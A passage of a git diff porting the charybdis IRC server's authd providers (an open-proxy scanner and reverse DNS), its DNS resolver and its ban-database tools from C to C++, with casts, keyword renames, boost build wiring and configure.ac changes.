= ident_cancel; + ap.timeout = ident_cancel; + ap.opt_handlers = ident_options; + return ap; +}()}; diff --git a/authd/providers/opm.c b/authd/providers/opm.cc similarity index 90% rename from authd/providers/opm.c rename to authd/providers/opm.cc index b98124459..c8f4a1cac 100644 --- a/authd/providers/opm.c +++ b/authd/providers/opm.cc @@ -127,7 +127,7 @@ find_proxy_scanner(protocol_t proto, uint16_t port) RB_DLINK_FOREACH(ptr, proxy_scanners.head) { - struct opm_proxy *proxy = ptr->data; + struct opm_proxy *proxy = (opm_proxy *)ptr->data; if(proxy->proto == proto && proxy->port == port) return proxy; @@ -141,13 +141,13 @@ static void read_opm_reply(rb_fde_t *F, void *data) { rb_dlink_node *ptr; - struct auth_client *auth = data; + struct auth_client *auth = (auth_client *)data; struct opm_lookup *lookup; char readbuf[OPM_READSIZE]; ssize_t len; lrb_assert(auth != NULL); - lookup = get_provider_data(auth, SELF_PID); + lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); lrb_assert(lookup != NULL); if((len = rb_read(F, readbuf, sizeof(readbuf))) < 0 && rb_ignore_errno(errno)) @@ -164,7 +164,7 @@ read_opm_reply(rb_fde_t *F, void *data) RB_DLINK_FOREACH(ptr, proxy_scanners.head) { - struct opm_proxy *proxy = ptr->data; + struct opm_proxy *proxy = (opm_proxy *)ptr->data; if(strncmp(proxy->note, readbuf, strlen(proxy->note)) == 0) { @@ -173,7 +173,7 @@ read_opm_reply(rb_fde_t *F, void *data) /* Cancel outstanding lookups */ RB_DLINK_FOREACH_SAFE(ptr, nptr, lookup->scans.head) { - struct opm_scan *scan = ptr->data; + struct opm_scan *scan = (opm_scan *)ptr->data; rb_close(scan->F); rb_free(scan); @@ -194,7 +194,7 @@ static void accept_opm(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, void *data) { struct auth_client *auth = NULL; - struct opm_listener *listener = data; + struct opm_listener *listener = (opm_listener *)data; struct rb_sockaddr_storage localaddr; unsigned int llen = sizeof(struct rb_sockaddr_storage); rb_dictionary_iter iter; @@ -213,8 +213,10 @@ accept_opm(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, voi } /* Correlate connection with client(s) */ - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; if(GET_SS_FAMILY(&auth->c_addr) != GET_SS_FAMILY(&localaddr)) continue; @@ -261,10 +263,10 @@ accept_opm(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, voi static void opm_connected(rb_fde_t *F, int error, void *data) { - struct opm_scan *scan = data; + struct opm_scan *scan = (opm_scan *)data; struct opm_proxy *proxy = scan->proxy; struct auth_client *auth = scan->auth; - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); if(error || !opm_enable) { @@ -308,7 +310,7 @@ static void socks4_connected(struct opm_scan *scan) { struct auth_client *auth = scan->auth; - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); uint8_t sendbuf[9]; /* Size we're building */ uint8_t *c = sendbuf; @@ -330,12 +332,12 @@ static void socks5_connected(struct opm_scan *scan) { struct auth_client *auth = scan->auth; - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); uint8_t sendbuf[25]; /* Size we're building */ uint8_t *c = sendbuf; auth = scan->auth; - lookup = get_provider_data(auth, SELF_PID); + lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); /* Build the version header and socks request * version header (3 bytes): version, number of auth methods, auth type (0 for none) @@ -374,7 +376,7 @@ static void http_connect_connected(struct opm_scan *scan) { struct auth_client *auth = scan->auth; - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); char sendbuf[128]; /* A bit bigger than we need but better safe than sorry */ char *c = sendbuf; @@ -398,8 +400,8 @@ http_connect_connected(struct opm_scan *scan) static inline void establish_connection(struct auth_client *auth, struct opm_proxy *proxy) { - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); - struct opm_scan *scan = rb_malloc(sizeof(struct opm_scan)); + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); + struct opm_scan *scan = (opm_scan *)rb_malloc(sizeof(struct opm_scan)); struct opm_listener *listener; struct rb_sockaddr_storage c_a, l_a; int opt = 1; @@ -557,8 +559,10 @@ create_listener(const char *ip, uint16_t port) /* Cancel clients that may be on old listener * XXX - should rescan clients that need it */ - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; opm_cancel(auth); /* auth is now invalid as we have no reference */ } @@ -581,14 +585,14 @@ opm_scan(struct auth_client *auth) lrb_assert(auth != NULL); - lookup = get_provider_data(auth, SELF_PID); + lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); set_provider_timeout_relative(auth, SELF_PID, opm_timeout); lookup->in_progress = true; RB_DLINK_FOREACH(ptr, proxy_scanners.head) { - struct opm_proxy *proxy = ptr->data; + struct opm_proxy *proxy = (opm_proxy *)ptr->data; //notice_client(auth->cid, "*** Scanning for proxy type %s", proxy->note); establish_connection(auth, proxy); } @@ -600,7 +604,7 @@ opm_scan(struct auth_client *auth) static void opm_initiate(struct auth_client *auth, uint32_t provider) { - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); uint32_t rdns_pid, ident_pid; lrb_assert(provider != SELF_PID); @@ -647,7 +651,7 @@ opm_start(struct auth_client *auth) static void opm_cancel(struct auth_client *auth) { - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); if(lookup != NULL) { @@ -657,7 +661,7 @@ opm_cancel(struct auth_client *auth) RB_DLINK_FOREACH_SAFE(ptr, nptr, lookup->scans.head) { - struct opm_scan *scan = ptr->data; + struct opm_scan *scan = (struct opm_scan *)ptr->data; rb_close(scan->F); rb_free(scan); @@ -680,8 +684,10 @@ opm_destroy(void) rb_dictionary_iter iter; /* Nuke all opm lookups */ - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; opm_cancel(auth); /* auth is now invalid as we have no reference */ } @@ -723,8 +729,10 @@ set_opm_enabled(const char *key __unused, int parc __unused, const char **parv) listeners[LISTEN_IPV4].F = listeners[LISTEN_IPV6].F = NULL; - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; opm_cancel(auth); /* auth is now invalid as we have no reference */ } @@ -769,7 +777,7 @@ static void create_opm_scanner(const char *key __unused, int parc __unused, const char **parv) { int iport = atoi(parv[1]); - struct opm_proxy *proxy = rb_malloc(sizeof(struct opm_proxy)); + struct opm_proxy *proxy = (opm_proxy *)rb_malloc(sizeof(struct opm_proxy)); if(iport <= 0 || iport > 65535) { @@ -843,10 +851,12 @@ delete_opm_scanner(const char *key __unused, int parc __unused, const char **par } /* Abort remaining clients on this scanner */ - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { rb_dlink_node *ptr; - struct opm_lookup *lookup = get_provider_data(auth, SELF_PID); + auth = (auth_client *)elem; + struct opm_lookup *lookup = (opm_lookup *)get_provider_data(auth, SELF_PID); if(lookup == NULL) continue; @@ -855,7 +865,7 @@ delete_opm_scanner(const char *key __unused, int parc __unused, const char **par RB_DLINK_FOREACH(ptr, lookup->scans.head) { - struct opm_scan *scan = ptr->data; + struct opm_scan *scan = (struct opm_scan *)ptr->data; if(scan->proxy->port == proxy->port && scan->proxy->proto == proxy->proto) { @@ -893,8 +903,10 @@ delete_opm_scanner_all(const char *key __unused, int parc __unused, const char * rb_dlinkDelete(ptr, &proxy_scanners); } - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; opm_cancel(auth); /* auth is now invalid as we have no reference */ } @@ -929,14 +941,16 @@ struct auth_opts_handler opm_options[] = { NULL, 0, NULL }, }; -struct auth_provider opm_provider = -{ - .name = "opm", - .letter = 'O', - .destroy = opm_destroy, - .start = opm_start, - .cancel = opm_cancel, - .timeout = opm_cancel, - .completed = opm_initiate, - .opt_handlers = opm_options, -}; +struct auth_provider opm_provider +{[]{ + auth_provider ap {0}; + ap.name = "opm"; + ap.letter = 'O'; + ap.destroy = opm_destroy; + ap.start = opm_start; + ap.cancel = opm_cancel; + ap.timeout = opm_cancel; + ap.completed = opm_initiate; + ap.opt_handlers = opm_options; + return ap; +}()}; diff --git a/authd/providers/rdns.c b/authd/providers/rdns.cc similarity index 83% rename from authd/providers/rdns.c rename to authd/providers/rdns.cc index 5ac03511d..dd58990ed 100644 --- a/authd/providers/rdns.c +++ b/authd/providers/rdns.cc @@ -56,8 +56,8 @@ static int rdns_timeout = RDNS_TIMEOUT_DEFAULT; static void dns_answer_callback(const char *res, bool status, query_type type, void *data) { - struct auth_client *auth = data; - struct user_query *query = get_provider_data(auth, SELF_PID); + struct auth_client *auth = (auth_client *)data; + struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID); lrb_assert(query != NULL); @@ -75,7 +75,7 @@ dns_answer_callback(const char *res, bool status, query_type type, void *data) static void client_fail(struct auth_client *auth, dns_message report) { - struct user_query *query = get_provider_data(auth, SELF_PID); + struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID); lrb_assert(query != NULL); @@ -96,7 +96,7 @@ client_fail(struct auth_client *auth, dns_message report) static void client_success(struct auth_client *auth) { - struct user_query *query = get_provider_data(auth, SELF_PID); + struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID); lrb_assert(query != NULL); @@ -118,8 +118,10 @@ rdns_destroy(void) struct auth_client *auth; rb_dictionary_iter iter; - RB_DICTIONARY_FOREACH(auth, &iter, auth_clients) + void *elem; + RB_DICTIONARY_FOREACH(elem, &iter, auth_clients) { + auth = (auth_client *)elem; if(get_provider_data(auth, SELF_PID) != NULL) client_fail(auth, REPORT_FAIL); /* auth is now invalid as we have no reference */ @@ -129,7 +131,7 @@ rdns_destroy(void) static bool rdns_start(struct auth_client *auth) { - struct user_query *query = rb_malloc(sizeof(struct user_query)); + struct user_query *query = (user_query *)rb_malloc(sizeof(struct user_query)); auth_client_ref(auth); @@ -146,7 +148,7 @@ rdns_start(struct auth_client *auth) static void rdns_cancel(struct auth_client *auth) { - struct user_query *query = get_provider_data(auth, SELF_PID); + struct user_query *query = (user_query *)get_provider_data(auth, SELF_PID); if(query != NULL) client_fail(auth, REPORT_FAIL); @@ -172,13 +174,15 @@ struct auth_opts_handler rdns_options[] = { NULL, 0, NULL }, }; -struct auth_provider rdns_provider = -{ - .name = "rdns", - .letter = 'R', - .destroy = rdns_destroy, - .start = rdns_start, - .cancel = rdns_cancel, - .timeout = rdns_cancel, - .opt_handlers = rdns_options, -}; +struct auth_provider rdns_provider +{[]{ + auth_provider ap {0}; + ap.name = "rdns"; + ap.letter = 'R'; + ap.destroy = rdns_destroy; + ap.start = rdns_start; + ap.cancel = rdns_cancel; + ap.timeout = rdns_cancel; + ap.opt_handlers = rdns_options; + return ap; +}()}; diff --git a/authd/res.c b/authd/res.cc similarity index 99% rename from authd/res.c rename to authd/res.cc index f39507436..70efbe57e 100644 --- a/authd/res.c +++ b/authd/res.cc @@ -172,7 +172,7 @@ static time_t timeout_query_list(time_t now) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, request_list.head) { - request = ptr->data; + request = (reslist *)ptr->data; timeout = request->sentat + request->timeout; if (now >= timeout) @@ -287,7 +287,7 @@ static void rem_request(struct reslist *request) */ static struct reslist *make_request(struct DNSQuery *query) { - struct reslist *request = rb_malloc(sizeof(struct reslist)); + struct reslist *request = (reslist *)rb_malloc(sizeof(struct reslist)); request->sentat = rb_current_time(); request->retries = 3; @@ -386,7 +386,7 @@ static struct reslist *find_id(int id) RB_DLINK_FOREACH(ptr, request_list.head) { - request = ptr->data; + request = (reslist *)ptr->data; if (request->id == id) return (request); diff --git a/authd/reslib.c b/authd/reslib.cc similarity index 98% rename from authd/reslib.c rename to authd/reslib.cc index c33ae9d68..e52e795ed 100644 --- a/authd/reslib.c +++ b/authd/reslib.cc @@ -744,7 +744,7 @@ irc_ns_name_pton(const char *src, unsigned char *dst, size_t dstsiz) while ((c = *src++) != 0) { if (escaped) { if (c == '[') { /* start a bit string label */ - if ((cp = strchr(src, ']')) == NULL) { + if ((cp = (char *)strchr(src, ']')) == NULL) { errno = EINVAL; /* ??? */ return(-1); } @@ -767,16 +767,16 @@ irc_ns_name_pton(const char *src, unsigned char *dst, size_t dstsiz) } continue; } - else if ((cp = strchr(digits, c)) != NULL) { + else if ((cp = (char *)strchr(digits, c)) != NULL) { n = (cp - digits) * 100; if ((c = *src++) == 0 || - (cp = strchr(digits, c)) == NULL) { + (cp = (char *)strchr(digits, c)) == NULL) { errno = EMSGSIZE; return (-1); } n += (cp - digits) * 10; if ((c = *src++) == 0 || - (cp = strchr(digits, c)) == NULL) { + (cp = (char *)strchr(digits, c)) == NULL) { errno = EMSGSIZE; return (-1); } @@ -1174,7 +1174,7 @@ mklower(int ch) int irc_res_mkquery( const char *dname, /* domain name */ - int class, int type, /* class and type of query */ + int class_, int type, /* class and type of query */ unsigned char *buf, /* buffer to put query */ int buflen) /* size of buffer */ { @@ -1210,7 +1210,7 @@ irc_res_mkquery( cp += n; buflen -= n; IRC_NS_PUT16(type, cp); - IRC_NS_PUT16(class, cp); + IRC_NS_PUT16(class_, cp); hp->qdcount = htons(1); return (cp - buf); diff --git a/authd/reslib.h b/authd/reslib.h index e8917130c..85b7e65c9 100644 --- a/authd/reslib.h +++ b/authd/reslib.h @@ -119,7 +119,7 @@ extern unsigned int irc_ns_get16(const unsigned char *src); extern unsigned long irc_ns_get32(const unsigned char *src); extern void irc_ns_put16(unsigned int src, unsigned char *dst); extern void irc_ns_put32(unsigned long src, unsigned char *dst); -extern int irc_res_mkquery(const char *dname, int class, int type, unsigned char *buf, int buflen); +extern int irc_res_mkquery(const char *dname, int class_, int type, unsigned char *buf, int buflen); extern char irc_domain[IRCD_RES_HOSTLEN + 1]; diff --git a/authd/reslist.c b/authd/reslist.cc similarity index 98% rename from authd/reslist.c rename to authd/reslist.cc index 3df01c814..665fe3aec 100644 --- a/authd/reslist.c +++ b/authd/reslist.cc @@ -50,7 +50,7 @@ const char *get_windows_nameservers(void); static int get_iphlpapi_dns_info(char *ret_buf, size_t ret_size) { - FIXED_INFO *fi = alloca(sizeof(*fi)); + FIXED_INFO *fi = (FIXED_INFO *)alloca(sizeof(*fi)); DWORD size = sizeof(*fi); typedef DWORD(WINAPI * get_net_param_func) (FIXED_INFO *, DWORD *); get_net_param_func xxGetNetworkParams; /* available only on Win-98/2000+ */ @@ -78,7 +78,7 @@ get_iphlpapi_dns_info(char *ret_buf, size_t ret_size) if((res != ERROR_BUFFER_OVERFLOW) && (res != ERROR_SUCCESS)) goto quit; - fi = alloca(size); + fi = (FIXED_INFO *)alloca(size); if(!fi || (*xxGetNetworkParams) (fi, &size) != ERROR_SUCCESS) goto quit; @@ -134,7 +134,7 @@ get_res_nt(HKEY hKey, const char *subkey, char **obuf) result = RegQueryValueEx(hKey, subkey, 0, NULL, NULL, &size); if((result != ERROR_SUCCESS && result != ERROR_MORE_DATA) || !size) return 0; - *obuf = rb_malloc(size + 1); + *obuf = (char *)rb_malloc(size + 1); if(!*obuf) return 0; diff --git a/bandb/Makefile.am b/bandb/Makefile.am index 0d305cda9..5b5b205dd 100644 --- a/bandb/Makefile.am +++ b/bandb/Makefile.am @@ -1,15 +1,21 @@ bin_PROGRAMS = bandb bantool -AM_CFLAGS=$(WARNFLAGS) -AM_CPPFLAGS = -I$(top_srcdir)/include @SQLITE_INCLUDES@ +AM_CPPFLAGS = $(WARNFLAGS) +AM_CPPFLAGS += -I$(top_srcdir)/include +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include +AM_CPPFLAGS += @SQLITE_INCLUDES@ AM_CPPFLAGS += -DSQLITE_THREADSAFE=0 -DSQLITE_OMIT_LOAD_EXTENSION -bandb_SOURCES = bandb.c rsdb_sqlite3.c rsdb_snprintf.c +AM_LDFLAGS = -L$(top_srcdir)/rb +AM_LDFLAGS += -L$(top_srcdir)/ircd +AM_LDFLAGS += -L$(top_srcdir)/boost/lib + +bandb_SOURCES = bandb.cc rsdb_sqlite3.c rsdb_snprintf.c EXTRA_bandb_SOURCES = sqlite3.c -bandb_LDADD = $(top_srcdir)/rb/librb.la @SQLITE_LD@ @SQLITE_OBJ@ +bandb_LDADD = -lrb @SQLITE_LD@ @SQLITE_OBJ@ -lboost_system bandb_DEPENDENCIES = @SQLITE_OBJ@ -bantool_SOURCES = bantool.c rsdb_sqlite3.c rsdb_snprintf.c +bantool_SOURCES = bantool.cc rsdb_sqlite3.c rsdb_snprintf.c EXTRA_bantool_SOURCES = sqlite3.c -bantool_LDADD = $(top_srcdir)/rb/librb.la @SQLITE_LD@ @SQLITE_OBJ@ +bantool_LDADD = -lrb @SQLITE_LD@ @SQLITE_OBJ@ -lboost_system bantool_DEPENDENCIES = @SQLITE_OBJ@ diff --git a/bandb/bandb.c b/bandb/bandb.cc similarity index 99% rename from bandb/bandb.c rename to bandb/bandb.cc index b17e647c3..8dc6cad55 100644 --- a/bandb/bandb.c +++ b/bandb/bandb.cc @@ -29,7 +29,7 @@ */ #include #include "rsdb.h" -#include +#include #define MAXPARA 10 diff --git a/bandb/bantool.c b/bandb/bantool.cc similarity index 98% rename from bandb/bantool.c rename to bandb/bantool.cc index 2a88c16ee..e3ab83891 100644 --- a/bandb/bantool.c +++ b/bandb/bantool.cc @@ -92,7 +92,7 @@ struct counter struct flags { bool none; - bool export; + bool export_; bool import; bool verify; bool vacuum; @@ -148,7 +148,7 @@ main(int argc, char *argv[]) break; case 'e': flag.none = false; - flag.export = true; + flag.export_ = true; break; case 'u': flag.none = false; @@ -179,11 +179,11 @@ main(int argc, char *argv[]) if(flag.none) print_help(EXIT_FAILURE); - if((flag.import && flag.export) || (flag.export && flag.wipe) - || (flag.verify && flag.pretend) || (flag.export && flag.pretend)) + if((flag.import && flag.export_) || (flag.export_ && flag.wipe) + || (flag.verify && flag.pretend) || (flag.export_ && flag.pretend)) { fprintf(stderr, "* Error: Conflicting flags.\n"); - if(flag.export && flag.pretend) + if(flag.export_ && flag.pretend) fprintf(stderr, "* There is nothing to 'pretend' when exporting.\n"); fprintf(stderr, "* For an explination of commands, run: %s -h\n", me); @@ -239,7 +239,7 @@ main(int argc, char *argv[]) if(flag.import) import_config(conf, i); - if(flag.export) + if(flag.export_) export_config(conf, i); if(flag.import && flag.pretend == false) diff --git a/bandb/rsdb.h b/bandb/rsdb.h index 5b55d5dd6..474fbe315 100644 --- a/bandb/rsdb.h +++ b/bandb/rsdb.h @@ -1,6 +1,10 @@ #ifndef INCLUDED_rsdb_h #define INCLUDED_rsdb_h +#ifdef __cplusplus +extern "C" { +#endif + /* error handler callback */ typedef void rsdb_error_cb(const char *); @@ -37,5 +41,8 @@ void rsdb_transaction(rsdb_transtype type); int rs_vsnprintf(char *dest, const size_t bytes, const char *format, va_list args); int rs_snprintf(char *dest, const size_t bytes, const char *format, ...); +#ifdef __cplusplus +} +#endif #endif diff --git a/boost b/boost new file mode 160000 index 000000000..ea0209516 --- /dev/null +++ b/boost @@ -0,0 +1 @@ +Subproject commit ea0209516426e4b358204b8b50d093d001c00f54 diff --git a/charybdis/Makefile.am b/charybdis/Makefile.am index 3dd0672d2..040d1083c 100644 --- a/charybdis/Makefile.am +++ b/charybdis/Makefile.am @@ -1,5 +1,7 @@ prefix = @prefix@ -AM_CPPFLAGS = @LTDLINCL@ -I$(top_srcdir)/include +AM_CPPFLAGS = @LTDLINCL@ +AM_CPPFLAGS += -I$(top_srcdir)/include +AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include if MINGW EXTRA_FLAGS = -Wl,--enable-runtime-pseudo-reloc -export-symbols-regex '*' @@ -7,6 +9,11 @@ endif bin_PROGRAMS = charybdis charybdis_SOURCES = charybdis.cc -charybdis_LDFLAGS = $(EXTRA_FLAGS) -dlopen self -charybdis_LDADD = -L$(top_srcdir)/ircd -lircd -charybdis_LDADD += -L$(top_srcdir)/rb -lrb + +charybdis_LDFLAGS = $(EXTRA_FLAGS) +charybdis_LDFLAGS += -dlopen self +charybdis_LDFLAGS += -L$(top_srcdir)/ircd +charybdis_LDFLAGS += -L$(top_srcdir)/rb +charybdis_LDFLAGS += -L$(top_srcdir)/boost/lib + +charybdis_LDADD = -lircd -lrb -lboost_system diff --git a/charybdis/charybdis.cc b/charybdis/charybdis.cc index 2e4919b18..34173933c 100644 --- a/charybdis/charybdis.cc +++ b/charybdis/charybdis.cc @@ -20,9 +20,10 @@ */ #include +#include -extern "C" int charybdis_main(int argc, char *argv[]); +extern int charybdis_main(int argc, char *const argv[]); int main(int argc, char *argv[]) { diff --git a/configure.ac b/configure.ac index f37ec8931..c0049f56a 100644 --- a/configure.ac +++ b/configure.ac @@ -3,7 +3,7 @@ dnl the most major changes have already been made and it looks like dnl said functions need to be just about as complex as they already are. AC_PREREQ(2.63) -AUTOMAKE_OPTIONS = 1.10 +AUTOMAKE_OPTIONS = 1.14 AC_INIT([charybdis], [5-dev]) AC_CONFIG_MACRO_DIR([m4]) @@ -38,20 +38,22 @@ AC_PATH_PROG(TOUCH, touch) LT_CONFIG_LTDL_DIR([libltdl]) LT_INIT([dlopen disable-static]) +LT_LANG([C++]) LTDL_INIT #LIBTOOL="$LIBTOOL --silent" AC_CONFIG_FILES(\ Makefile \ + include/rb/Makefile \ + rb/Makefile \ authd/Makefile \ - bandb/Makefile \ charybdis/Makefile \ + ircd/Makefile \ + bandb/Makefile \ doc/Makefile \ extensions/Makefile \ help/Makefile \ - ircd/Makefile \ modules/Makefile \ - rb/Makefile \ ssld/Makefile \ tools/Makefile \ tools/genssl \ @@ -59,7 +61,9 @@ AC_CONFIG_FILES(\ ) AM_INIT_AUTOMAKE([subdir-objects]) -AM_EXTRA_RECURSIVE_TARGETS([mrproper]) +AM_EXTRA_RECURSIVE_TARGETS([ + mrproper \ +]) VERSION_CMD="git describe --tags" DATESTR_CMD="date -R" @@ -69,9 +73,14 @@ RB_VERSION=`$VERSION_CMD` RB_DATESTR=`$DATESTR_CMD` RB_DATECODE=`$DATECODE_CMD` -AC_DEFINE_UNQUOTED([RB_VERSION], ["$RB_VERSION"], [Version generated at configuration time.]) -AC_DEFINE_UNQUOTED([RB_DATESTR], ["$RB_DATESTR"], [Readable date string of configuration time.]) -AC_DEFINE_UNQUOTED([RB_DATECODE], [$RB_DATECODE], [UNIX epoch time at configuration time.]) +AC_DEFUN([RB_DEFINE], [AC_DEFINE([RB_$1], [$2], [$3])]) +AC_DEFUN([RB_DEFINE_UNQUOTED], [AC_DEFINE_UNQUOTED([RB_$1], [$2], [$3])]) +AC_DEFUN([IRCD_DEFINE], [AC_DEFINE([IRCD_$1], [$2], [$3])]) +AC_DEFUN([IRCD_DEFINE_UNQUOTED], [AC_DEFINE_UNQUOTED([IRCD_$1], [$2], [$3])]) + +RB_DEFINE_UNQUOTED([VERSION], ["$RB_VERSION"], [Version generated at configuration time.]) +RB_DEFINE_UNQUOTED([DATESTR], ["$RB_DATESTR"], [Readable date string of configuration time.]) +RB_DEFINE_UNQUOTED([DATECODE], [$RB_DATECODE], [UNIX epoch time at configuration time.]) AC_DEFINE([NICKNAMEHISTORYLENGTH], 15000, [Size of the WHOWAS array.]) AC_DEFINE([CHANNEL_HEAP_SIZE], 8192, [Size of the channel heap.]) @@ -90,60 +99,6 @@ AC_DEFINE([MONITOR_HEAP_SIZE], 1024, [Size of the monitor heap.]) AC_DEFINE([FD_HEAP_SIZE], 1024, [Size of fd heap.]) AC_DEFINE([AWAY_HEAP_SIZE], 512, [Size of away heap.]) -dnl Checks for header files. -AC_DEFUN([RB_CHK_SYSHEADER], \ -[ - AC_CHECK_HEADER([$1], \ - [ - AC_DEFINE([HAVE_$2], [1], [ Indication $1 is available. ]) - AC_DEFINE_UNQUOTED([RB_INC_$2], [$1>], [ The computed-include location of $1. ]) - ],[ - AC_DEFINE_UNQUOTED([RB_INC_$2], [/dev/null>], [ The computed-include location of $1. ]) - ]) -]) - -RB_CHK_SYSHEADER([errno.h]) -#RB_CHK_SYSHEADER([errno.h], [ERRNO_H]) -RB_CHK_SYSHEADER([assert.h], [ASSERT_H]) -RB_CHK_SYSHEADER([stddef.h], [STDDEF_H]) -RB_CHK_SYSHEADER([stdarg.h], [STDARG_H]) -RB_CHK_SYSHEADER([stdint.h], [STDINT_H]) -RB_CHK_SYSHEADER([inttypes.h], [INTTYPES_H]) -RB_CHK_SYSHEADER([ctype.h], [CTYPE_H]) -RB_CHK_SYSHEADER([limits.h], [LIMITS_H]) -RB_CHK_SYSHEADER([stdlib.h], [STDLIB_H]) -RB_CHK_SYSHEADER([unistd.h], [UNISTD_H]) -RB_CHK_SYSHEADER([time.h], [TIME_H]) -RB_CHK_SYSHEADER([fcntl.h], [FCNTL_H]) -RB_CHK_SYSHEADER([signal.h], [SIGNAL_H]) -RB_CHK_SYSHEADER([sys/types.h], [SYS_TYPES_H]) -RB_CHK_SYSHEADER([sys/time.h], [SYS_TIME_H]) -RB_CHK_SYSHEADER([sys/stat.h], [SYS_STAT_H]) -RB_CHK_SYSHEADER([sys/socket.h], [SYS_SOCKET_H]) -RB_CHK_SYSHEADER([arpa/inet.h], [ARPA_INET_H]) -RB_CHK_SYSHEADER([netinet/in.h], [NETINET_IN_H]) -RB_CHK_SYSHEADER([netinet/tcp.h], [NETINET_TCP_H]) -RB_CHK_SYSHEADER([string.h], [STRING_H]) -RB_CHK_SYSHEADER([stdio.h], [STDIO_H]) -RB_CHK_SYSHEADER([crypt.h], [CRYPT_H]) -RB_CHK_SYSHEADER([sys/uio.h], [SYS_UIO_H]) -RB_CHK_SYSHEADER([spawn.h], [SPAWN_H]) -RB_CHK_SYSHEADER([sys/poll.h], [SYS_POLL_H]) -RB_CHK_SYSHEADER([sys/epoll.h], [SYS_EPOLL_H]) -RB_CHK_SYSHEADER([sys/select.h], [SYS_SELECT_H]) -RB_CHK_SYSHEADER([sys/devpoll.h], [SYS_DEVPOLL_H]) -RB_CHK_SYSHEADER([sys/event.h], [SYS_EVENT_H]) -RB_CHK_SYSHEADER([port.h], [PORT_H]) -RB_CHK_SYSHEADER([sys/signalfd.h], [SYS_SIGNALFD_H]) -RB_CHK_SYSHEADER([sys/timerfd.h], [SYS_TIMERFD_H]) -RB_CHK_SYSHEADER([execinfo.h], [EXECINFO_H]) -RB_CHK_SYSHEADER([windows.h], [WINDOWS_H]) -RB_CHK_SYSHEADER([winsock2.h], [WINSOCK2_H]) -RB_CHK_SYSHEADER([ws2tcpip.h], [WS2TCPIP_H]) -RB_CHK_SYSHEADER([iphlpapi.h], [IPHLPAPI_H]) - - -CFLAGS="$IRC_CFLAGS $CFLAGS" case "$host_os" in *cygwin*) @@ -161,10 +116,10 @@ case "$host_os" in is_mingw="yes" ;; *interix*) - CPPFLAGS="$CFLAGS -D_ALL_SOURCE -D_XOPEN_SOURCE=500" + CPPFLAGS="$CPPFLAGS -D_ALL_SOURCE -D_XOPEN_SOURCE=500" ;; *solaris*) - CPPFLAGS="$CFLAGS -D_POSIX_PTHREAD_SEMANTICS -D_XPG4_2" + CPPFLAGS="$CPPFLAGS -D_POSIX_PTHREAD_SEMANTICS -D_XPG4_2" ;; *) ;; @@ -173,6 +128,110 @@ esac AM_CONDITIONAL([MINGW], [test "$is_mingw" = "yes"]) +dnl Checks for system header files. +AC_DEFUN([RB_CHK_SYSHEADER], \ +[ + AC_CHECK_HEADER([$1], \ + [ + AC_DEFINE([HAVE_$2], [1], [ Indication $1 is available. ]) + RB_DEFINE_UNQUOTED([INC_$2], [$1>], [ The computed-include location of $1. ]) + ],[ + if test "$is_mingw" = "yes"; then + RB_DEFINE_UNQUOTED([INC_$2], [stdint.h>], [ The dead-header in place of $1. ]) + else + RB_DEFINE_UNQUOTED([INC_$2], [/dev/null>], [ The dead-header in place of $1. ]) + fi + ]) +]) + +RB_CHK_SYSHEADER([errno.h], [ERRNO_H]) +RB_CHK_SYSHEADER([assert.h], [ASSERT_H]) +RB_CHK_SYSHEADER([stddef.h], [STDDEF_H]) +RB_CHK_SYSHEADER([stdarg.h], [STDARG_H]) +RB_CHK_SYSHEADER([stdint.h], [STDINT_H]) +RB_CHK_SYSHEADER([inttypes.h], [INTTYPES_H]) +RB_CHK_SYSHEADER([ctype.h], [CTYPE_H]) +RB_CHK_SYSHEADER([limits.h], [LIMITS_H]) +RB_CHK_SYSHEADER([stdlib.h], [STDLIB_H]) +RB_CHK_SYSHEADER([unistd.h], [UNISTD_H]) +RB_CHK_SYSHEADER([time.h], [TIME_H]) +RB_CHK_SYSHEADER([fcntl.h], [FCNTL_H]) +RB_CHK_SYSHEADER([signal.h], [SIGNAL_H]) +RB_CHK_SYSHEADER([dirent.h], [DIRENT_H]) +RB_CHK_SYSHEADER([sys/types.h], [SYS_TYPES_H]) +RB_CHK_SYSHEADER([sys/time.h], [SYS_TIME_H]) 